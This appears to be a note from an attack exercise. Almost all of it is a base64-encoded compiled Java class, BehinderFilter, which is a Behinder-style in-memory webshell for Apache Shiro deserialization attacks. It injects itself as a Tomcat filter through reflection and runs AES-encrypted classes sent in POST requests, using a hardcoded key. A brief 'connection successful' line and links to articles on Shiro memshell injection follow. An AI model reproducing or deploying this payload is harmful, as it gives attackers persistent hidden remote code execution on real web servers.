L0NsYXNzPCtMb3JnL2FwYWNoZS9jYXRhbGluYS9jb3JlL1N0YW5kYXJkQ29udGV4dDs+OwcBIwcA/AcBAAcA4QcBGQcBGgcBGwcBHAcBHQEAClNvdXJjZUZpbGUBABNCZWhpbmRlckZpbHRlci5qYXZhDABkAGUHASQMASUBJgEAEERvIEZpbHRlciAuLi4uLi4HAScMASgBKQEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQwBKgErAQARamF2YS91dGlsL0hhc2hNYXAMASwBLQwBLgEvAQAEUE9TVAcBIwwBMAExAQAQZTQ1ZTMyOWZlYjVkOTI1YgEAAXUHATIMATMBNAEAA0FFUwcBNQwBNgE3AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwBOAE5DABkAToMAHgBOwEAFWphdmEubGFuZy5DbGFzc0xvYWRlcgwBPAE9AQALZGVmaW5lQ2xhc3MBAA9qYXZhL2xhbmcvQ2xhc3MHAT4MAT8AiAwBQAFBBwFCDAFDAUQBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDAFFAUYHAUcMAUgBLwwBSQFKDAFLAUwMAU0BTgwBTwFQAQAQamF2YS9sYW5nL09iamVjdAwBUQFSDAFTAVQMAVUBVgEAE2phdmEvbGFuZy9FeGNlcHRpb24MAVcAZQcBWAwAfQFZAQAEZXZpbAEAAi8qBwFaDAFbAVwMAV0BUAEAMG9yZy9hcGFjaGUvY2F0YWxpbmEvbG9hZGVyL1dlYmFwcENsYXNzTG9hZGVyQmFzZQwBXgFfBwFgDAFhAWIBAChvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvU3RhbmRhcmRDb250ZXh0DAFjAU4MAWQBZQcBZgwBZwFoAQANamF2YS91dGlsL01hcAEALmNvbS9nb3Z1bG4vc2hpcm9hdHRhY2svbWVtc2hlbGwvQmVoaW5kZXJGaWx0ZXIBAC9vcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlckRlZgwBaQFqDAFrASkMAWwBLwwBbQEpDAFuAW8BAC9vcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlck1hcAwBcAEpBwFxDAFyAXMMAJ4BLwwBdAEpDAF1AXYBADBvcmcvYXBhY2hlL2NhdGFsaW5hL2NvcmUvQXBwbGljYXRpb25GaWx0ZXJDb25maWcBABtvcmcvYXBhY2hlL2NhdGFsaW5hL0NvbnRleHQMAXcBeAcBeQwBVQF6AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAfamF2YS9sYW5nL05vU3VjaE1ldGhvZEV4Y2VwdGlvbgEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9TdHJpbmcBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAApnZXRTZXNzaW9uAQAiKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uOwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0TWV0aG9kAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAB5qYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BAAhwdXRWYWx1ZQEAJyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAE2phdmF4L2NyeXB0by9DaXBoZXIBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAdkb0ZpbmFsAQAGKFtCKVtCAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQAZamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbgEAQChMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAMZ2V0UmVzb3VyY2VzAQAnKClMb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3Q7AQAjb3JnL2FwYWNoZS9jYXRhbGluYS9XZWJSZXNvdXJjZVJvb3QBAApnZXRDb250ZXh0AQAfKClMb3JnL2FwYWNoZS9jYXRhbGluYS9Db250ZXh0OwEADWdldFN1cGVyY2xhc3MBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACXNldEZpbHRlcgEAGShMamF2YXgvc2VydmxldC9GaWx0ZXI7KVYBAA1zZXRGaWx0ZXJOYW1lAQAHZ2V0TmFtZQEADnNldEZpbHRlckNsYXNzAQAMYWRkRmlsdGVyRGVmAQA0KExvcmcvYXBhY2hlL3RvbWNhdC91dGlsL2Rlc2NyaXB0b3Ivd2ViL0ZpbHRlckRlZjspVgEADWFkZFVSTFBhdHRlcm4BABxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlAQAHUkVRVUVTVAEAHkxqYXZheC9zZXJ2bGV0L0Rpc3BhdGNoZXJUeXBlOwEADXNldERpc3BhdGNoZXIBABJhZGRGaWx0ZXJNYXBCZWZvcmUBADQoTG9yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyTWFwOylWAQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEAQQBiAAEAYwAAAAcAAQBkAGUAAQBmAAAALwABAAEAAAAFKrcAAbEAAAACAGcAAAAGAAEAAAAcAGgAAAAMAAEAAAAF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
成功连接
参考文章 https://www.cnblogs.com/yyhuni/p/shiroMemshell.html#1%E4%BB%8Epost%E8%AF%B7%E6%B1%82%E4%BD%93%E4%B8%AD%E5%8F%91%E9%80%81%E5%AD%97%E8%8A%82%E7%A0%81%E6%95%B0%E6%8D%AE
https://l3yx.github.io/2020/07/06/Java%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E4%B8%AD%E7%B1%BB%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E7%9A%84%E5%BA%94%E7%94%A8/
https://blog.csdn.net/Thunderclap_/article/details/128932553